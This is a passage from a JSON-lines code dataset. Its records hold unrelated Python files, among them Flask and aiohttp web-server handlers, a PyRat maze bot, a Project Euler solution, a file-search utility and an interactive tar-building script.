main_refSeq2geneSymbol(sys.argv[1:])","sub_path":"pybicl/tools/id2geneSymbol.py","file_name":"id2geneSymbol.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"569678215","text":"from app.resources.contacts import Conctacs\nfrom app import create_app, db\nfrom flask_migrate import Migrate\nfrom app.models import Contact, User\n\napp = create_app(\"development\")\n\nMigrate(app, db)\n\n@app.shell_context_processor\ndef shell_conext():\n return dict(\n app=app,\n db=db,\n User=User,\n Conctacs=Conctacs\n )","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"3640610","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport lib.PyratApi as api\nimport lib.travelHeuristics as th\nimport lib.utils as ut\n\nimport time\n\n\nBOT_NAME = \"greedy\"\nPATH = []\nMETAGRAPH = {}\nBESTPATH = {}\nMOVING = False\nEATENCOINS = []\nNB_COINS_TO_COMPUTE = 5\nCURRENTCOIN = []\n\n\n# This function should not return anything, but should be used for a short preprocessing\ndef initializationCode (mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins) :\n global METAGRAPH\n global BESTPATHS\n iniTime = time.time()\n\n # Compute metaGraph\n METAGRAPH, BESTPATHS = th.generateMetaGraph(mazeMap, playerLocation, coins)\n api.debug(time.time() - iniTime)\n\n return \"Everything seems fine, let's start !\"\n\n\n\ndef chooseCoin (metaGraph, playerLocation, eatenCoins):\n\n # Determination des sommets à calculer avec l'algo naif\n nodesToCompute = ut.orderNodesByDistance(metaGraph, playerLocation, eatenCoins)\n\n return nodesToCompute[0][0]\n \n\n\n# This is where you should write your code to determine the next direction\ndef determineNextMove (mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins) :\n global MOVING\n global METAGRAPH\n global BESTPATHS\n global EATENCOINS\n global PATH\n global CURRENTCOIN\n \n EATENCOINS = ut.updateCoins(METAGRAPH, EATENCOINS, coins)\n\n if MOVING :\n if not PATH :\n MOVING = False\n \n if opponentLocation == CURRENTCOIN and playerLocation != CURRENTCOIN:\n PATH = []\n PATH = th.findNearestCoin(mazeMap, playerLocation, coins)\n \n if not MOVING :\n CURRENTCOIN = chooseCoin(METAGRAPH, playerLocation, EATENCOINS)\n\n PATH = list(BESTPATHS[playerLocation][CURRENTCOIN])\n PATH.pop()\n \n MOVING = True\n \n nextPos = PATH.pop()\n\n return ut.convertPosesToDir(nextPos, playerLocation, mazeMap)\n\n\n\n####\n\n\n\nif __name__ == \"__main__\" :\n\n # We let technical stuff happen\n (mazeWidth, mazeHeight, mazeMap, preparationTime, turnTime, playerLocation, opponentLocation, coins, gameIsOver) = api.initGame(BOT_NAME)\n\n\n initializationCode(mazeWidth, mazeHeight, mazeMap, preparationTime, playerLocation, opponentLocation, coins)\n \n # We decide how to move and wait for the next step\n while not gameIsOver :\n (playerLocation, opponentLocation, coins, gameIsOver) = api.processNextInformation()\n if gameIsOver :\n break\n nextMove = determineNextMove(mazeWidth, mazeHeight, mazeMap, turnTime, playerLocation, opponentLocation, coins)\n api.writeToPipe(nextMove)\n","sub_path":"greedy.py","file_name":"greedy.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"13669477","text":"# The prime factors of 13195 are 5, 7, 13 and 29.\n# What is the largest prime factor of the number 600851475143\n\nn = 600851475143\ni = 2\n\nwhile i*i <=n: #a prime factor is always less than or equal to the square root of the number\n if n%i != 0:\n i+=1\n else:\n n//=i\n\nprint(n)\n","sub_path":"Euler3.py","file_name":"Euler3.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"535452776","text":"\"\"\"to find all png files using recursive function\"\"\"\n#pylint: disable=W0102\n\nimport os\n\n\ndef find_files(files, dirs=['./'], extensions=['.png']):\n \"\"\"recursive function that will call itself to dig deeper into directory\"\"\"\n new_dirs = []\n for my_dir in dirs:\n try:\n new_dirs += [os.path.join(my_dir, f) for f in os.listdir(my_dir)]\n except OSError:\n if os.path.splitext(my_dir)[1] in extensions:\n files.append(my_dir)\n if new_dirs:\n find_files(files, new_dirs, extensions)\n else:\n return\n\n\nif __name__ == \"__main__\":\n MY_PATH = \"./\"\n MY_EXT = '.png'\n MY_FILES = []\n find_files(MY_FILES, [MY_PATH], [MY_EXT])\n for f in MY_FILES:\n print(f)\n ","sub_path":"students/mint_k/lesson09/pngdiscover.py","file_name":"pngdiscover.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"196609340","text":"\"\"\" Handlers for CRUD operations on /projects/\n\n\"\"\"\nimport json\nimport logging\nfrom typing import Dict, List, Optional, Set\n\nimport aioredlock\nfrom aiohttp import web\nfrom jsonschema import ValidationError\n\nfrom models_library.projects import Owner, ProjectLocked, ProjectState\nfrom servicelib.utils import fire_and_forget_task, logged_gather\n\nfrom .. import catalog\nfrom ..computation_api import update_pipeline_db\nfrom ..constants import RQ_PRODUCT_KEY\nfrom ..login.decorators import RQT_USERID_KEY, login_required\nfrom ..resource_manager.websocket_manager import managed_resource\nfrom ..security_api import check_permission\nfrom ..security_decorators import permission_required\nfrom ..users_api import get_user_name\nfrom . import projects_api\nfrom .projects_db import APP_PROJECT_DBAPI\nfrom .projects_exceptions import ProjectInvalidRightsError, ProjectNotFoundError\nfrom .projects_utils import project_uses_available_services\n\nOVERRIDABLE_DOCUMENT_KEYS = [\n \"name\",\n \"description\",\n \"thumbnail\",\n \"prjOwner\",\n \"accessRights\",\n]\n# TODO: validate these against api/specs/webserver/v0/components/schemas/project-v0.0.1.json\n\nlog = logging.getLogger(__name__)\n\n\n@login_required\n@permission_required(\"project.create\")\n@permission_required(\"services.pipeline.*\") # due to update_pipeline_db\nasync def create_projects(request: web.Request):\n from .projects_api import clone_project\n\n # pylint: disable=too-many-branches\n # TODO: keep here since is async and parser thinks it is a handler\n\n user_id = request[RQT_USERID_KEY]\n db = request.config_dict[APP_PROJECT_DBAPI]\n\n template_uuid = request.query.get(\"from_template\")\n as_template = request.query.get(\"as_template\")\n\n try:\n project = {}\n\n if as_template: # create template from\n await check_permission(request, \"project.template.create\")\n\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n source_project = await get_project_for_user(\n request.app,\n project_uuid=as_template,\n user_id=user_id,\n include_templates=False,\n )\n project = await clone_project(request, source_project, user_id)\n\n elif template_uuid: # create from template\n template_prj = await db.get_template_project(template_uuid)\n if not template_prj:\n raise web.HTTPNotFound(\n reason=\"Invalid template uuid {}\".format(template_uuid)\n )\n\n project = await clone_project(request, template_prj, user_id)\n # remove template access rights\n project[\"accessRights\"] = {}\n # FIXME: parameterized inputs should get defaults provided by service\n\n # overrides with body\n if request.has_body:\n predefined = await request.json()\n if project:\n for key in OVERRIDABLE_DOCUMENT_KEYS:\n non_null_value = predefined.get(key)\n if non_null_value:\n project[key] = non_null_value\n else:\n # TODO: take skeleton and fill instead\n project = predefined\n\n # validate data\n projects_api.validate_project(request.app, project)\n\n # update metadata (uuid, timestamps, ownership) and save\n project = await db.add_project(\n project, user_id, force_as_template=as_template is not None\n )\n\n # This is a new project and every new graph needs to be reflected in the pipeline db\n await update_pipeline_db(request.app, project[\"uuid\"], project[\"workbench\"])\n\n # Appends state\n project_state = ProjectState(\n locked=ProjectLocked(\n value=False, owner=Owner(**await get_user_name(request.app, user_id))\n )\n )\n project[\"state\"] = project_state.dict()\n\n except ValidationError as exc:\n raise web.HTTPBadRequest(reason=\"Invalid project data\") from exc\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=\"Project not found\") from exc\n except ProjectInvalidRightsError as exc:\n raise web.HTTPUnauthorized from exc\n\n else:\n raise web.HTTPCreated(text=json.dumps(project), content_type=\"application/json\")\n\n\n@login_required\n@permission_required(\"project.read\")\nasync def list_projects(request: web.Request):\n from .projects_api import get_project_state_for_user\n\n # TODO: implement all query parameters as\n # in https://www.ibm.com/support/knowledgecenter/en/SSCRJU_3.2.0/com.ibm.swg.im.infosphere.streams.rest.api.doc/doc/restapis-queryparms-list.html\n\n user_id, product_name = request[RQT_USERID_KEY], request[RQ_PRODUCT_KEY]\n ptype = request.query.get(\"type\", \"all\") # TODO: get default for oaspecs\n db = request.config_dict[APP_PROJECT_DBAPI]\n\n # TODO: improve dbapi to list project\n projects_list = []\n if ptype in (\"template\", \"all\"):\n projects_list += await db.load_template_projects(user_id=user_id)\n\n if ptype in (\"user\", \"all\"): # standard only (notice that templates will only)\n projects_list += await db.load_user_projects(user_id=user_id)\n\n start = int(request.query.get(\"start\", 0))\n count = int(request.query.get(\"count\", len(projects_list)))\n\n stop = min(start + count, len(projects_list))\n projects_list = projects_list[start:stop]\n user_available_services: List[\n Dict\n ] = await catalog.get_services_for_user_in_product(\n request.app, user_id, product_name, only_key_versions=True\n )\n\n # validate response\n async def validate_project(prj: Dict) -> Optional[Dict]:\n try:\n projects_api.validate_project(request.app, prj)\n if await project_uses_available_services(prj, user_available_services):\n return prj\n except ValidationError:\n log.warning(\n \"Invalid project with id='%s' in database.\"\n \"Skipping project from listed response.\"\n \"RECOMMENDED db data diagnose and cleanup\",\n prj.get(\"uuid\", \"undefined\"),\n )\n\n validation_tasks = [validate_project(project) for project in projects_list]\n # FIXME: if some invalid, then it should not reraise but instead\n results = await logged_gather(*validation_tasks, reraise=True)\n validated_projects = [r for r in results if r]\n\n # Add state in each project for this user\n for project in validated_projects:\n project_state: ProjectState = await get_project_state_for_user(\n user_id, project_uuid=project[\"uuid\"], app=request.app\n )\n project[\"state\"] = project_state.dict()\n\n return {\"data\": validated_projects}\n\n\n@login_required\n@permission_required(\"project.read\")\nasync def get_project(request: web.Request):\n \"\"\"Returns all projects accessible to a user (not necesarly owned)\"\"\"\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n user_id, product_name = request[RQT_USERID_KEY], request[RQ_PRODUCT_KEY]\n user_available_services: List[\n Dict\n ] = await catalog.get_services_for_user_in_product(\n request.app, user_id, product_name, only_key_versions=True\n )\n from .projects_api import get_project_for_user\n\n project_uuid = request.match_info.get(\"project_id\")\n try:\n project = await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n include_state=True,\n )\n if not await project_uses_available_services(project, user_available_services):\n raise web.HTTPNotFound(\n reason=f\"Project '{project_uuid}' uses unavailable services. Please ask your administrator.\"\n )\n return {\"data\": project}\n\n except ProjectInvalidRightsError as exc:\n raise web.HTTPForbidden(\n reason=f\"You do not have sufficient rights to read project {project_uuid}\"\n ) from exc\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from exc\n\n\n@login_required\n@permission_required(\"services.pipeline.*\") # due to update_pipeline_db\nasync def replace_project(request: web.Request):\n \"\"\"Implements PUT /projects\n\n In a PUT request, the enclosed entity is considered to be a modified version of\n the resource stored on the origin server, and the client is requesting that the\n stored version be replaced.\n\n With PATCH, however, the enclosed entity contains a set of instructions describing how a\n resource currently residing on the origin server should be modified to produce a new version.\n\n Also, another difference is that when you want to update a resource with PUT request, you have to send\n the full payload as the request whereas with PATCH, you only send the parameters which you want to update.\n\n :raises web.HTTPNotFound: cannot find project id in repository\n \"\"\"\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n replace_pipeline = request.query.get(\n \"run\", False\n ) # FIXME: Actually was never called. CHECK if logic still applies (issue #1176)\n\n new_project = await request.json()\n\n # Prune state field (just in case)\n new_project.pop(\"state\", None)\n\n db = request.config_dict[APP_PROJECT_DBAPI]\n await check_permission(\n request,\n \"project.update | project.workbench.node.inputs.update\",\n context={\n \"dbapi\": db,\n \"project_id\": project_uuid,\n \"user_id\": user_id,\n \"new_data\": new_project,\n },\n )\n\n try:\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n projects_api.validate_project(request.app, new_project)\n\n current_project = await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n include_state=False,\n )\n\n if current_project[\"accessRights\"] != new_project[\"accessRights\"]:\n await check_permission(request, \"project.access_rights.update\")\n\n new_project = await db.update_user_project(\n new_project, user_id, project_uuid, include_templates=True\n )\n\n await update_pipeline_db(\n request.app, project_uuid, new_project[\"workbench\"], replace_pipeline\n )\n\n # Appends state\n project_state = ProjectState(\n locked=ProjectLocked(\n value=False, owner=Owner(**await get_user_name(request.app, user_id))\n )\n )\n new_project[\"state\"] = project_state.dict()\n\n except ValidationError as exc:\n raise web.HTTPBadRequest from exc\n\n except ProjectInvalidRightsError as exc:\n raise web.HTTPForbidden(\n reason=\"You do not have sufficient rights to save the project\"\n ) from exc\n\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound from exc\n\n return {\"data\": new_project}\n\n\n@login_required\n@permission_required(\"project.delete\")\nasync def delete_project(request: web.Request):\n # first check if the project exists\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n try:\n await projects_api.get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n )\n project_users: List[int] = []\n with managed_resource(user_id, None, request.app) as rt:\n project_users = await rt.find_users_of_resource(\"project_id\", project_uuid)\n if project_users:\n # that project is still in use\n if user_id in project_users:\n message = \"Project is still open in another tab/browser. It cannot be deleted until it is closed.\"\n else:\n other_users = set(project_users)\n other_user_names = {\n await get_user_name(request.app, x) for x in other_users\n }\n message = f\"Project is open by {other_user_names}. It cannot be deleted until the project is closed.\"\n\n # we cannot delete that project\n raise web.HTTPForbidden(reason=message)\n\n await projects_api.delete_project(request, project_uuid, user_id)\n except ProjectInvalidRightsError as err:\n raise web.HTTPForbidden(\n reason=\"You do not have sufficient rights to delete this project\"\n ) from err\n except ProjectNotFoundError as err:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from err\n\n raise web.HTTPNoContent(content_type=\"application/json\")\n\n\nclass HTTPLocked(web.HTTPClientError):\n # pylint: disable=too-many-ancestors\n status_code = 423\n\n\n@login_required\n@permission_required(\"project.open\")\nasync def open_project(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n client_session_id = await request.json()\n try:\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n project = await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n include_state=False,\n )\n\n async def try_add_project() -> Optional[Set[int]]:\n with managed_resource(user_id, client_session_id, request.app) as rt:\n try:\n async with await rt.get_registry_lock():\n other_users: Set[int] = {\n x\n for x in await rt.find_users_of_resource(\n \"project_id\", project_uuid\n )\n if x != user_id\n }\n\n if other_users:\n return other_users\n await rt.add(\"project_id\", project_uuid)\n except aioredlock.LockError as exc:\n # TODO: this lock is not a good solution for long term\n # maybe a project key in redis might improve spped of checking\n raise HTTPLocked(reason=\"Project is locked\") from exc\n\n other_users = await try_add_project()\n if other_users:\n # project is already locked\n usernames = [await get_user_name(request.app, uid) for uid in other_users]\n raise HTTPLocked(reason=f\"Project is already opened by {usernames}\")\n\n # user id opened project uuid\n await projects_api.start_project_interactive_services(request, project, user_id)\n\n # notify users that project is now locked\n project_state = ProjectState(\n locked=ProjectLocked(\n value=True, owner=Owner(**await get_user_name(request.app, user_id))\n )\n )\n project[\"state\"] = project_state.dict()\n\n await projects_api.notify_project_state_update(\n request.app, project, project_state\n )\n\n return web.json_response({\"data\": project})\n\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from exc\n\n\n@login_required\n@permission_required(\"project.close\")\nasync def close_project(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n client_session_id = await request.json()\n\n try:\n # ensure the project exists\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n project = await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n include_state=False,\n )\n project_opened_by_others: bool = False\n with managed_resource(user_id, client_session_id, request.app) as rt:\n await rt.remove(\"project_id\")\n project_opened_by_others = (\n len(await rt.find_users_of_resource(\"project_id\", project_uuid)) > 0\n )\n # if we are the only user left we can safely remove the services\n async def _close_project_task() -> None:\n try:\n if not project_opened_by_others:\n # only remove the services if no one else is using them now\n await projects_api.remove_project_interactive_services(\n user_id, project_uuid, request.app\n )\n finally:\n # ensure we notify the user whatever happens, the GC should take care of dangling services in case of issue\n await projects_api.notify_project_state_update(\n request.app, project, ProjectState(locked={\"value\": False})\n )\n\n fire_and_forget_task(_close_project_task())\n\n raise web.HTTPNoContent(content_type=\"application/json\")\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from exc\n\n\n@login_required\n@permission_required(\"project.read\")\nasync def state_project(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n # check that project exists and queries state\n validated_project = await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n include_state=True,\n )\n project_state = ProjectState(**validated_project[\"state\"])\n return web.json_response({\"data\": project_state.dict()})\n\n\n@login_required\n@permission_required(\"project.read\")\nasync def get_active_project(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n client_session_id = request.query[\"client_session_id\"]\n\n try:\n project = None\n user_active_projects = []\n with managed_resource(user_id, client_session_id, request.app) as rt:\n # get user's projects\n user_active_projects = await rt.find(\"project_id\")\n if user_active_projects:\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n project = await get_project_for_user(\n request.app,\n project_uuid=user_active_projects[0],\n user_id=user_id,\n include_templates=True,\n include_state=True,\n )\n\n return web.json_response({\"data\": project})\n\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=\"Project not found\") from exc\n\n\n@login_required\n@permission_required(\"project.node.create\")\nasync def create_node(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n body = await request.json()\n\n try:\n # ensure the project exists\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n )\n data = {\n \"node_id\": await projects_api.add_project_node(\n request,\n project_uuid,\n user_id,\n body[\"service_key\"],\n body[\"service_version\"],\n body[\"service_id\"] if \"service_id\" in body else None,\n )\n }\n return web.json_response({\"data\": data}, status=web.HTTPCreated.status_code)\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from exc\n\n\n@login_required\n@permission_required(\"project.node.read\")\nasync def get_node(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n node_uuid = request.match_info.get(\"node_id\")\n try:\n # ensure the project exists\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n )\n\n node_details = await projects_api.get_project_node(\n request, project_uuid, user_id, node_uuid\n )\n return web.json_response({\"data\": node_details})\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from exc\n\n\n@login_required\n@permission_required(\"project.node.delete\")\nasync def delete_node(request: web.Request) -> web.Response:\n user_id = request[RQT_USERID_KEY]\n project_uuid = request.match_info.get(\"project_id\")\n node_uuid = request.match_info.get(\"node_id\")\n try:\n # ensure the project exists\n # TODO: temporary hidden until get_handlers_from_namespace refactor to seek marked functions instead!\n from .projects_api import get_project_for_user\n\n await get_project_for_user(\n request.app,\n project_uuid=project_uuid,\n user_id=user_id,\n include_templates=True,\n )\n\n await projects_api.delete_project_node(\n request, project_uuid, user_id, node_uuid\n )\n\n raise web.HTTPNoContent(content_type=\"application/json\")\n except ProjectNotFoundError as exc:\n raise web.HTTPNotFound(reason=f\"Project {project_uuid} not found\") from exc\n\n\n@login_required\n@permission_required(\"project.tag.*\")\nasync def add_tag(request: web.Request):\n uid, db = request[RQT_USERID_KEY], request.config_dict[APP_PROJECT_DBAPI]\n tag_id, study_uuid = (\n request.match_info.get(\"tag_id\"),\n request.match_info.get(\"study_uuid\"),\n )\n return await db.add_tag(project_uuid=study_uuid, user_id=uid, tag_id=int(tag_id))\n\n\n@login_required\n@permission_required(\"project.tag.*\")\nasync def remove_tag(request: web.Request):\n uid, db = request[RQT_USERID_KEY], request.config_dict[APP_PROJECT_DBAPI]\n tag_id, study_uuid = (\n request.match_info.get(\"tag_id\"),\n request.match_info.get(\"study_uuid\"),\n )\n return await db.remove_tag(project_uuid=study_uuid, user_id=uid, tag_id=int(tag_id))\n","sub_path":"services/web/server/src/simcore_service_webserver/projects/projects_handlers.py","file_name":"projects_handlers.py","file_ext":"py","file_size_in_byte":23421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"415022377","text":"import numpy as np\nimport cv2\n\nfrom gym_qd.envs.qd import QDEnv\nfrom gym_qd.fields import AUGMENT_CRONE_1, TYPE_WATER, TYPE_WOODS\n\n\nclass PlaceOnlyOne(QDEnv):\n field = np.asarray(((TYPE_WOODS, AUGMENT_CRONE_1), (TYPE_WATER, AUGMENT_CRONE_1)), dtype=np.int32)\n step_limit = 3\n steps = 0\n\n def step(self, action):\n self.do_actions(action)\n reward = self.get_reward()\n\n done = self.steps >= self.step_limit\n if done:\n return None, self.get_reward(), True, {}\n else:\n self.player.next_ground = self.field\n self.steps += 1\n return self.make_observation(), reward, done, {}\n\n\nif __name__ == \"__main__\":\n e = PlaceOnlyOne()\n e.reset()\n\n done = False\n while not done:\n field = np.zeros((7, 7), dtype=np.float32)\n # field[0, 4] = 4\n _, _, done, _ = e.step(np.asarray([\n 1, 1,\n *field.reshape(-1)\n ]))\n e.render()\n cv2.waitKey(100)\n if done:\n break\n print(e.player.score())\n e.render(wait=0, cell_size=50)\n","sub_path":"gym-qd/gym_qd/envs/envs.py","file_name":"envs.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"296720929","text":"from google.appengine.ext import blobstore\nfrom google.appengine.ext.webapp import blobstore_handlers\nimport main\n\n\n# Our Upload Handler.\n# When a file is uploaded in the html form, we store the information\n# in the blobstore and then call the addFile to also add this to the ndb\nclass UploadHandler(blobstore_handlers.BlobstoreUploadHandler):\n def post(self):\n uploads = self.get_uploads()\n for upload in uploads:\n fileName = blobstore.BlobInfo(upload.key()).filename\n fileSize = blobstore.BlobInfo(upload.key()).size\n createdAt = blobstore.BlobInfo(upload.key()).creation\n main.addFile(upload, fileName, fileSize, createdAt)\n\n self.redirect('/')\n","sub_path":"uploadhandler.py","file_name":"uploadhandler.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"461168449","text":"from .component import *\n\n# Fuselage consists of three sections: Nose, CentreFuselage, Afterbody.\n\nclass Fuselage(Component):\n\tdef __init__(self, centreFuselage, afterbody, nose, total_length):\n\n\t\tself.centreFuselage = centreFuselage\n\t\tself.afterbody = afterbody\n\t\tself.nose = nose\n\t\tself.total_length = total_length\n","sub_path":"models/Fuselage.py","file_name":"Fuselage.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"10358495","text":"#!/usr/bin/env python\n\"\"\"\n Launches the appliation and any other related tasks\n \n Description: invokes application factory\n\n\"\"\"\nimport os\nfrom app import create_app, db\nfrom app.models import Address\nfrom flask_migrate import Migrate, MigrateCommand, upgrade\n\n# create application and encapsulate in Manager object to pass configuration options through commandline\napp = create_app(os.getenv('FLASK_ENV') or 'default')\nmigrate = Migrate(app, db)\n\n\n@app.shell_context_processor\ndef make_shell_context():\n \"\"\"\n Creates an interactive shell with context loaded.\n add additional models for convenience\n \"\"\"\n return dict(app=app, Address=Address)\n\n\n@app.cli.command()\ndef test():\n import pytest\n pytest.main([\"tests/\"])\n\n\n@app.cli.command()\ndef drop_all():\n db.drop_all()\n db.session.commit()\n\n\n@app.cli.command()\ndef create_db():\n db.drop_all()\n db.create_all()\n db.session.commit()\n\n\n@app.cli.command()\ndef deploy():\n \"\"\"Run deployment tasks\"\"\"\n\n # migrate database to lastest revision\n upgrade()\n\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"77994172","text":"import os\nimport collections\n\nSearchResult = collections.namedtuple('SearchResult', 'file, line, text')\n\n\ndef print_header():\n print(\"--------------------\")\n print(\"File search App\")\n print(\"--------------------\")\n\n\ndef get_folder_from_user():\n folder = input(\"What folder do you want to search?\")\n if not folder or not folder.strip():\n return None\n\n if not os.path.isdir(folder):\n return None\n\n return os.path.abspath(folder)\n\n\ndef get_search_text_from_user():\n text = input(\"What are you looking for? [single phrase only]\")\n return text.lower()\n\n\ndef search_file(filename, search_text):\n with open(filename, 'r', encoding = 'utf-8') as fin:\n\n line_num = 0\n for line in fin:\n line_num += 1\n if line.lower().find(search_text) >= 0:\n m = SearchResult(line = line_num, file = filename, text = line)\n yield m\n\n\ndef search_folders(folder, text):\n items = os.listdir(folder)\n\n for item in items:\n full_item = os.path.join(folder, item)\n if os.path.isdir(full_item):\n yield from search_folders(full_item, text)\n\n else:\n yield from search_file(full_item, text)\n\n\ndef main():\n print_header()\n folder = get_folder_from_user()\n if not folder:\n print(\"Sorry, we can't search there.\")\n return\n\n text = get_search_text_from_user()\n if not text:\n print(\"We need something to search for.\")\n return\n\n matches = search_folders(folder, text)\n match_count = 0\n for _ in matches:\n match_count += 1\n\n print(\"Found {:,} matches.\".format(match_count))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"apps/08_file_searcher/you_try/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"646100283","text":"import os\nimport argparse\nimport subprocess\n\nclass Walker():\n def start(self, tar_format, du_format, output_file, path, script_file):\n self.tar_format = tar_format\n self.du_format = du_format\n self.base_path = path\n self.output_file = output_file\n self.end = False\n \n if os.path.exists(output_file):\n os.remove(output_file)\n \n if script_file:\n with open(script_file, 'w') as output:\n self.__step(output, path)\n else:\n self.__step(None, path)\n \n def __step(self, output, base_path):\n print('===========\\nstepping into', base_path)\n \n for curr in sorted(os.listdir(base_path)):\n abs_path = os.path.join(base_path, curr)\n \n print('-------------')\n subprocess.call(self.du_format.format(path=abs_path), shell=True)\n \n if os.path.isdir(abs_path):\n i = input('\\tdir action (a - add, s - skip, i - go into, e - end): ')\n self.__dir_action(output, i, abs_path)\n else:\n i = input('\\tfile action (a - add, s - skip, e - end): ')\n self.__file_action(output, i, abs_path)\n \n if self.end:\n break\n \n def __dir_action(self, output, action, path):\n if action == 'a':\n self.__append(output, path)\n elif action == 'i':\n self.__step(output, path)\n elif action == 'e':\n self.end = True\n \n def __file_action(self, output, action, path):\n if action == 'a':\n self.__append(output, path)\n elif action == 'e':\n self.end = True\n \n def __append(self, output, path):\n relative_path = path[len(self.base_path):]\n \n cmd = self.tar_format.format(pack=self.output_file, path=self.base_path, relative=relative_path)\n \n if output:\n output.write(cmd + '\\n')\n else:\n subprocess.call(cmd, shell=True)\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n description='This script allows you to build tar file interactively. If you pass --script argument it will build sh script only.\\n\\nAfter run it''s walks into each subdirectory of passed --path, executes --du-format and asks whether add/skip or go into directory. For each file you can also decide whether add or skip it. For each added directory/file --tar_format will be executed')\n \n parser.add_argument('-p', '--path', help='Base path')\n parser.add_argument('-s', '--script', help='Output script name')\n parser.add_argument('-o', '--output', help='Output file name')\n parser.add_argument('-t', '--tar-format', help='Executed tar format', default='tar -Puvf {pack} -C {path} {relative}')\n parser.add_argument('-d', '--du-format', help='Executed du format (for each directory)', default='du -sh {path}')\n \n args = parser.parse_args()\n \n if args.path and args.output:\n w = Walker()\n w.start(args.tar_format, args.du_format, args.output, args.path, args.script)\n else:\n parser.print_help()","sub_path":"pythontools/interactive_tar.py","file_name":"interactive_tar.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"482660069","text":"import os\nimport glob\nfrom shutil import Error\nimport numpy as np\nimport json\nimport h5py\nimport gc\nimport laspy\nfrom tqdm import tqdm\nimport pointcloud_util as utils\nfrom dtm import build_dtm, gen_agl\nfrom sklearn.neighbors import KDTree\n\nROOT_DIR = 